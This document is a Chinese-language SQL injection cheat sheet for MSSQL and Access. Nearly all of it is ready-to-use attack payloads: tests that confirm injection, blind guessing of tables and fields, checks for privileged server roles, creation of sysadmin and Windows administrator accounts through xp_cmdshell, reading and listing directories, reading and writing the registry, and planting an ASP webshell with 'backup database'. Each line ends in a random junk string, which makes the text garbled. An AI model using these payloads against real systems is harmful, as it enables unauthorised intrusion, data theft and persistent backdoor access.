1.判断是否有注入;and 1=1 ;and 1=2 l+^*LqEW2
2.初步判断是否是mssql ;and user>0 t"oeQ*d%
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3.注入参数是字符'and [查询条件] and ''=' z~s PXGb
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' `VguQl_,gA
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5.判断数据库系统 7B66]3v
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;and (select count(*) from sysobjects)>0 mssql a9V,es"BWQ
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;and (select count(*) from msysobjects)>0 access X#^[<5
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 s!$a\ k
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 AH~E )S
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 {E|$8)58i
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9.(1)猜字段的ascii值(access) mQ"-,mMI
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 DZtsy!xA
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(2)猜字段的ascii值(mssql) KF:78C
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ,r_Gf5c
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10.测试权限结构(mssql) 4;2uW#dG"
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- O*P.]d
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- =>~:<X.,
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 8P\Zo8}v
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- j8:\%|
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- kvu)y`
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- P?P#RhvA1
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;and 1=(select IS_MEMBER('db_owner'));-- tw)mepwB
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11.添加mssql和系统的帐户 Xne1gms
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;exec master.dbo.sp_addlogin username;-- BDQsP$'6QT
;exec master.dbo.sp_password null,username,password;-- /Z}}(6T
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- >9Vn.S
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;exec master.dbo.xp_cmdshell 'net user username password ]7c=PC
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- -jmY)(\
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- A?OQE9'
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- T6$+hUM$1
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12.(1)遍历目录 @BMx!r5kn
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;create table dirs(paths varchar(100), id int) b"
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;insert dirs exec master.dbo.xp_dirtree 'c:\' P16~Qj
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;and (select top 1 paths from dirs)>0 -yNlyHv9
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) yEy6]f+>+
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(2)遍历目录 8zq=N#x
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #,'kXj
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 lH~[f
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 J]r^W)O
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 <(! :$
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ZS o)
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13.mssql中的存储过程 :[d9tm
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xp_regenumvalues 注册表根键, 子键 8H`[*|{'
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 &BSn?
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xp_regread 根键,子键,键值名 X"*5+* z]
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;exec xp_regread RPbZ(.
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2st3
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xp_regwrite 根键,子键, 值名, 值类型, 值 IdN41
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 B`sAk
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xp_regdeletevalue 根键,子键,值名 a,o*=r
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 /g.U&oI]D
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ,`sv1xwd
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14.mssql的backup创建webshell !H\F2Vxs
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use model ^=*;X;7
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create table cmd(str image); 0tJZ4(0
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insert into cmd(str) values (''); BFt> 9x]T
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backup database model to disk='c:\l.asp'; c+GG\:gM
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15.mssql内置函数 5Ynd c)Z
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;and (select @@version)>0 获得Windows的版本号 $Ygue5{c
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa O33`+UV"W
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;and (select user_name())>0 爆当前系统的连接用户 x|29L7i
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;and (select db_name())>0 得到当前连接的数据库 Kf-JcBsrT
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16.简洁的webshell kSo"Ak!
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use model o,wUc"CE
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create table cmd(str image); 'E.w=7z&
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insert into cmd(str) values (''); /<BI46B\
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backup database model to disk='g:\wwwtest\l.asp';